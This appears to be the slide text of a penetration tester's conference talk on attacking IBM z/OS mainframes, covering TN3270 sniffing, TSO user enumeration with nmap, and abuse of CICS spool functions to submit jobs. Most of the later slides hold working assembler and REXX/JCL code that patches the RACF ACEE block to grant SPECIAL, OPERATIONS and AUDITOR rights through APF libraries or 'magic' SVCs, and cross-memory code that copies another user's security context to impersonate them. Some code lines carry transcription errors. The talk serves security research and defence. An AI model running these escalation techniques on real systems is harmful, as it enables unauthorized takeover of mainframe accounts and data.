Dealing the perfect hand

Shuffling memory blocks on z/OS
What people think of when I talk about mainframes
The reality: IBM zEC 13 technical specs:

- 10 TB of RAM
- 141 processors, 5 GHz
- Dedicated processors for JAVA, XML and UNIX
- Cryptographic chips...

Badass Badass Badass!!

So what...who uses those anymore ?
ISUZU NORTH AMERICA NETWORK

TN3270

TYPE ONE OF THE FOLLOWING:

TAO  <---- EMAIL/CALENDARS.
TS0  <---- MVS TSO.

CICS3 <---- AIMI PROD ONLINE.
CICS4 <---- AIMI TEST ONLINE.

https://mainframesproject.tumblr.com
About me

Pentester at Wavestone, mainly hacking Windows and Unix stuff

First got my hands on a mainframe in 2014...Hooked ever since

When not hacking stuff: Metal and wine

• github.com/ayoul3
• ayoul3__
This talk

Why we should care about mainframes

Quick recap on how to execute code on z/OS

Playing with z/OS memory layout
Quick recap on how to execute code on z/OS

Sniffing credentials

Good ol’ bruteforce

Go through the middleware

And many more (FTP, NJE, etc.)

Check out Phil & Chad’s talks!

The wonders of TN3270

The main protocol to interact with a Mainframe is called TN3270

TN3270 is simply a rebranded Telnet

...Clear text by default

X3270 emulator if you don’t have the real thing
The wonders of TN3270
Damn EBCDIC
Ettercap dissector by @Mainframed767
Quick recap on how to execute code on z/OS

Sniffing credentials

Good ol’ bruteforce

Go through the middleware

And many more (FTP, NJE, etc.)

Check out Phil & Chad’s talks!
Time Sharing Option (TSO)

TSO is the /bin/bash on z/OS

--- TSO/E LOGON ---
IKJ56420I Userid SLASH not authorized to use TSO

Enter LOGON parameters below:

*Userid  ==>  SLASH
Password  ==> 

Tsk tsk tsk... too friendly!
Bruteforce

root@Guard:/usr/share/nmap/scripts# nmap 192.168.1.201 -n -p 23 --script=tso-enum.nse --script-args idlist=users.

Starting Nmap 7.01 ( https://nmap.org ) at 2017-05-25 13:56 CEST
Nmap scan report for 192.168.1.201
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
23/tcp open  tn3270  IBM Telnet TN3270
 | tso-enum:
 | | TSO User ID:
 | | | TSO User:IBMUSER - Valid User ID
 | | | TSO User:SYSWEB - Valid User ID
 | | | TSO User:AYOUB - Valid User ID
 | Statistics: Performed 6 guesses in 3 seconds, average tps: 2

Nmap script by @Mainframed767
Bruteforce is still surprisingly effective

- Passwords derived from login
  - Windows: 5%
  - Mainframe: 27%
Quick recap on how to execute code on z/OS

Sniffing credentials

Good ol’ bruteforce

Go through the middleware

And many more (FTP, NJE, etc.)

Check out Phil & Chad’s talks!
Signon to CICS

WELCOME TO CICS TS 3.2

Type your userid and password, then press ENTER:

Userid ........ [_____]
Password ........ [_____]
Groupid ........ [_____]
Language ........ [_____]

New Password ........ [_____]

DFHCE3520 Please type your userid.
F3=Exit
INQMAP1  Customer Inquiry

Type a customer number. Then press Enter.

Customer number. . . . .: 400000

Name and address . . . : DENVILLE
                        NEREA
                        834 NJD RD
                        IL 07444
Interactive applications

Most interactive applications on z/OS rely on a middleware called CICS

CICS is a combination Drupal and Apache Tomcat...before it was cool (around 1968)

Current version is CICS TS 5.4
CICS: a middleware full of secrets

If we manage to “exit” the application, we can instruct CICS to execute default admin programs (CECI, CEMT, etc.) => rarely secured

CECI offers to execute CICS API functions

As usual, some API functions are particularly interesting!
DEMO SPOOLOPEN
INTRDR = Internal Reader, is the equivalent of /bin/bash. It executes anything it receives.
The theory
The theory
The theory

CICS  |  JES
-----|-----
MVS   |    

SPOOL OPEN OUTPUT
USERID(""")
TOKEN
SPOOLWRITE TOKEN
Line 1 of code: //JOBNAME JOB (123),...
SPOOLWRITE TOKEN
*/EOF
SPOOLCLOSE TOKEN
Execute the JOB

JES SPOOL

JOB 1
JOB 2
Reverse shell in JCL & REXX

We allocate a new file (dataset)

Reverse shell in REXX – python-like a scripting language

Execution of the file
Quick recap on how to execute code on z/OS

Sniffing credentials

Good ol’ bruteforce

Go through the middleware

And many more (FTP, NJE, etc.)

Check out Phil & Chad’s talks!
LISTUSER command

READY
LISTUSER
15.36.03 JOB03036 $HASP165 ASMCMP1 ENDED AT N1 MAXCC=0 CN(INTERNAL)
USER=AYOUNG NAME=AYOUNG OWNER=IBMUSER CREATED=15.327
DEFAULT-GROUP=SYSC
PASSDATE=17.170 PASS-INTERVAL=180 PHRASEDATE=N/A
ATTRIBUTES=SPECIAL OPERATIONS
ATTRIBUTES=AUDITOR
REVOKE DATE=NONE RESUME DATE=NONE
LAST-ACCESS=17.187/15:36:00
CLASS AUTHORIZATIONS=NONE
NO-INSTALLATION-DATA
NO-MODEL-NAME
LOGON ALLOWED (DAYS) (TIME)
------------------------------------------
ANYDAY ANYTIME
GROUP=SYS1 AUTH=USE CONNECT-OWNER=IBMUSER CONNECT-DATE=15.327
CONNECTS= 14 UACC=NONE LAST-CONNECT=17.187/15:36:00
CONNECT ATTTIBUTES=NONE
REVOKE DATE=NONE RESUME DATE=NONE
Shell on z/OS, now what?

The most widespread security product on z/OS is RACF. It performs authentication, access control, etc.

There are three main security attributes on RACF:

- **Special**: access any system resource
- **Operations**: access all dataset regardless of RACF rules
- **Audit**: access audit trails and manage logging classes
This talk

Why we should care about mainframes

Quick recap on how to execute code on z/OS

Playing with z/OS memory layout
Z architecture

Proprietary CPU (CISC – Big Endian)

Three addressing modes: 23, 31 & 64 bits.

Each instruction has many variants: memory-memory, memory-register, register-register, register-immediate, etc.

16 general purpose registers (0 – 0xF) (+ 49 other registers)

The PSW register holds control flags and the address of the next instruction
Security context in memory

z/OS memory is full of control blocks: data structures describing the current state of the system

RACF stores the current user’s privileges in the ACEE control block...We just need to find it!
Security context in memory

If we patch byte 38 we’re good to go!
Program State Word (PSW)

ABEND S0C4, code 4: Protection exception.
Memory protection

Same concept of virtual memory and paging as in Intel (sorta)

Each page frame (4k) is allocated a 4-bit Storage key + Fetch Protection bit at the CPU level

16 possible Storage key values
- 0 – 7 : system and middleware. 0 is the master key
- 8 : mostly for users
- 9 – 15 : used by programs that require virtual = real memory
Program State Word (PSW)

8 - 11 bit: current protection key, 8 in this case
<table>
<thead>
<tr>
<th></th>
<th>Storage keys match</th>
<th>Storage don't match &amp; Fetch bit ON</th>
<th>Storage don't match &amp; Fetch bit OFF</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>PSW key is zero</strong></td>
<td>Full</td>
<td>Full</td>
<td>Full</td>
</tr>
<tr>
<td><strong>PSW key is not zero</strong></td>
<td>Full</td>
<td>None</td>
<td>Read</td>
</tr>
</tbody>
</table>
Problem state Vs Supervisor state

Some instructions are only available in Supervisor state (kernel mode):

- Cross memory operations
- Direct Storage Access
- **Changing storage keys**
- Exit routines
- Listening/editing/filtering system events
- Etc.
Program State Word (PSW)

15 - 16 bit: Problem mode is ON in this case (D = 1101)

Problem mode ~ User mode
Supervisor mode ~ Kernel mode
How do we get into Supervisor state

APF libraries are extensions of the zOS kernel.

Any program present in an APF library can request supervisor mode.

Obviously...these libraries are very well protected! (irony)
APF hunting on OMVS (Unix)

Every z/OS has an embedded POSIX compliant UNIX running (for FTP, HTTP, etc.)

APF files have extended attributes on OMVS (Unix)

List extended attributes : ls -E
Find APF files : Find / -ext a
Add APF authorization : extattr +a file

As for setuid bit, if you alter an APF file it loses its extended attribute
APF hunting on OMVS (Unix)

root@lab:~ #

[DEMO APF UNIX]
APF hunting on z/OS

APF libraries on z/OS are akin to directories. They do not lose their APF attribute if we drop programs inside.

They are a tad more complicated to enumerate. We need to dive into memory.

Control block to the rescue!
Hunting APF on z/OS... Diving into virtual memory

Always starts at virtu. addr 0
References all major structures

Extended CVT

Content Supervisor Table

© WAVESTONE 48
[DEMO ELV.APF]
Patching ACEE

000001 * ***************************
000002 * PROGRAM STARTS HERE
000003 * ***************************
000004 CSECT
000005 AMODE 31
000006 * ***************************
000007 * PROGRAM PROLOGUE
000008 * ***************************
000009 STM 14,12,12(13)
000010 BALR 12,0
000011 USING *,12 ;12 AS BASE REGISTER
000012 *
000013 MODESET KEY=ZERO,MODE=SUP ;STORAGE KEY=0
000014 *
000015 L 5,X'224' ;POINTER TO ASCB
000016 L 5,X'6C'(5) ;POINTER TO ASXB
000017 L 5,X'C8'(5) ;POINTER TO ACEE
000018 *
000019 NI X'26'(5),X'00'
000020 OI X'26'(5),X'B1' ;SPE + OPER + AUDITOR ATTR
000021 NI X'27'(5),X'00'
000022 OI X'27'(5),X'80' ;UNIVERSAL ACCESS ON
000023 *
000024 XR 15,15
000025 BR 14 ; EXIT
000026 * ***************************
000027 * END OF PROGRAM
000028 * ***************************
000029 END
The attack flow

Write an ASM program to patch the current security context
  • Locate the ACEE structure in memory
  • Patch the privilege bits in memory

Compile and link the program with the Authorized state

Copy it to an APF library with ALTER access

Run it and enjoy SPECIAL privileges
VIEW
QUEUE " AMODE 31"
QUEUE " STM 14,12,12(13)"
QUEUE " BALR 12,0"
QUEUE " USING *,12"
QUEUE " ST 13,SAVE+4"
QUEUE " LA 13,SAVE"
QUEUE "*
QUEUE " MODESET KEY=ZERO,MODE=SUP"
QUEUE " L 5,'X'224'" POINTER TO ASCB"
QUEUE " L 5,'X'6C'(5)" POINTER TO ASXB"
QUEUE " L 5,'X'C8'(5)" POINTER TO ACEE"
QUEUE " NI 'X'26'(5),X'00'"
QUEUE " DI 'X'26'(5),X'B1'" SPE + OPER + AUDITOR ATTR"
QUEUE " NI 'X'27'(5),X'00'"
QUEUE " DI 'X'27'(5),X'80'" ALTER ACCESS"
QUEUE "*
QUEUE " L 13,SAVE+4"
QUEUE " LM 14,12,12(13)"
QUEUE " XR 15,15"
QUEUE " BR 14"
QUEUE "*
QUEUE "SAVE DS 18F"
QUEUE " END"
QUEUE "/*
QUEUE "/L.SYSLMOD DD DISP=SHR,DSN="||APF_DSN||"
QUEUE "/L.SYSEX DD *
QUEUE " SETCODE AC(1)"
QUEUE " NAME "||PROG||"(R)"
QUEUE "/*
QUEUE "/STEP01 EXEC PGM="||PROG||",COND=(0,NE)"
QUEUE "/STEPLIB DD DSN="||APF_DSN||",DISP=SHR"
QUEUE "/STEP02 EXEC PGM=IKJEFT01,COND=(0,NE)"
QUEUE "/SYSTIN DD *
QUEUE "/*
QUEUE " ALU "||userid()||" SPECIAL OPERATIONS"
The theory behind this feat is not new

Mark Wilson @ich408i discussed a similar abuse of privilege using SVC

Some legitimate products/Mainframe admins use a variation of this technique too!

Stu Henderson alluded to critical risks of having APF with ALTER access
Supervisor Call ~ Syscalls on Linux: APIs to hand over control to Supervisor mode

Table of 255 SVC. 0 to 200 are IBM reserved. 201 – 255 are user defined

Some admins/products register an authorized SVC that switches the AUTH bit and goes into Kernel mode
« Magic » SVC code

** CSECT
** AMODE 31
** PROGRAM PROLOGUE
** ************

STM 14,12,12(13)
BALR 12,0
USING *,12 ;12 AS BASE REGISTER

LLGT 4,540 ; POINT R4 TO TCB
L 2,180(4) ; POINT R2 TO JSCB
XR 7,7
L 7,236(2) ; LOAD AUTH BIT INTO R7
O1 236(2),X'01' ; TURN ON AUTHORIZATION BIT
XR 15,15
BR 14 ; EXIT

** END OF PROGRAM
** ************

END
Call SVC to get into Supervisor mode

We do not need to launch this program from an APF library anymore.
Looking for « magic » SVC

* PROGRAM STARTS HERE
*CSECT
* AMODE 31

PROGRAM PROLOGUE

STM 14,12,12(13)
BALR 12,0
USING *,12 ;12 AS BASE REGISTER

LLGT 4,540 ; POINT R4 TO TCB
L 2,180(4) ; POINT R2 TO JSCB
XR 7,7
L 7,236(2) ; LOAD AUTH BIT INTO R7
DI 236(2),X'01' ; TURN ON AUTHORIZATION BIT
XR 15,15
BR 14 ; EXIT

END

We browse the SVC table looking for these instructions (and other possible variations)
[DEMO ELV.SVF]
Excerpts from the Logica attack

https://github.com/mainframed/logica/blob/master/Tfy.source.backdoor
A few problems though

The user’s attribute are modified => RACF rules are altered

You can be special, that does not mean you can access any app!
=> Need to figure out the right class/resource to add
RACF rules (not easy)
Impersonating users
## Interesting stuff in the ACEE

<table>
<thead>
<tr>
<th>ACEE</th>
<th>....</th>
</tr>
</thead>
<tbody>
<tr>
<td>UserID</td>
<td></td>
</tr>
<tr>
<td>Group Name</td>
<td></td>
</tr>
<tr>
<td>User Flags</td>
<td></td>
</tr>
<tr>
<td>Privileged flag</td>
<td></td>
</tr>
<tr>
<td>Terminal information</td>
<td></td>
</tr>
<tr>
<td>Terminal ID</td>
<td></td>
</tr>
<tr>
<td>@ List of groups</td>
<td></td>
</tr>
<tr>
<td>....</td>
<td></td>
</tr>
</tbody>
</table>

### Duplicate fields

To our user’s ACEE
Not so fast...

Each program or JOB is allocated a virtual address space (same as in Windows/Linux)

Private areas can only be addressed from within the address space

All addresses spaces share some common regions that contain system data & code: PSA, CVT, etc.

Each address space is identified by a 2-byte number : ASID (~ PID on Linux)
Listing address spaces

```
<table>
<thead>
<tr>
<th>Address Space</th>
<th>Start Address</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>PSA</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>FLCCVT</td>
<td>16</td>
<td>556</td>
</tr>
<tr>
<td>CVT ASVT</td>
<td>CVTASVT</td>
<td></td>
</tr>
<tr>
<td>ASVT</td>
<td>516</td>
<td>1st ASCB</td>
</tr>
<tr>
<td></td>
<td>528</td>
<td>2nd ASCB</td>
</tr>
<tr>
<td></td>
<td>+16</td>
<td></td>
</tr>
</tbody>
</table>
```

Always starts at virtu. addr 0.
References all major structures.

© WAVESTONE 65
[DEMO ELV.SELF]
Virtual address space layout

Virtual Address Space

- Private
- Shared Area
- Low User Private
- Extended Private
- Extended Common
- Common region
- User region
- System region
- PSA

Private region

- 8K
- 24K
- 16 MB
- 512 T
- 2 G
- 2 T
- 16 EB
- 512 T
- 2 G
- 2 T
- 16 EB
Cross memory operations

Service Request Block: schedules a routine to run on a foreign Virtual Address Space

Cross memory mode: allows read/write access in remote @ space using special instructions

Access Register mode: 16-set of dedicated registers that can map each a remote @ space
Cross memory operations

@XMEM XR 2,2
ESAR 2
ST 2,OURASN
*
MODESET KEY=ZERO,MODE=PROB
*
** SUBROUTINE - CROSS MEMORY TARGET
*
@INXMEM LA 2,1
AXSET AX=(2)
LH 2,RMTASID
SSAR 2
L 7,ACCEADDR
LA 8,XMSTOR
LA 2,256
MVCP 0(2,8),0(7),1
BAL 14,@OUTXMEM
ZERO REG 2
OBTAIN OUR ADDR SPACE ID
SAVE OUR ADDR SPACE ID
AUTH MODE
REG 2 = 1
AUTH INDEX = 1
REG 2 = REMOTE ASID
INTO CROSS MEM
MOVE ACEE Struct to XMSTOR
ACEE IS 168 LONG
LEAVE CROSS MEMORY MODE
Cross memory operations

*  
** SUBROUTINE - CROSS MEMORY LOCAL TSO ***************************  
*  
@TSOMEM  LA 2,1  
   AXSET AX=(2)  
   LH 2,TSOADSID  
   SSAR 2  

REG 2 = 1  
AUTH INDEX = 1  
ASID TO SNOOP ON  
INTO CROSS MEMORY  

BAL 14,@TSOMEM  
L 10,LOCACEE  
LA 2,52  
MVCS 0(2,10),0(8),1  
LA 2,44  
MVCS 56(2,10),56(8),1  
LA 2,2  
MVCS 132(2,10),132(8),1  
BAL 14,@OUTXMEM  

ENTER CROSS MEM LOCAL TSO  
LOAD LOCAL ACEE  
GET FIST 52 BYTES ONLY  
INJECT THEM TO LOCAL TSO  
SKIP SOME PTRS AND GET 44 B  
SKIP SOME PTRS AND GET 2 B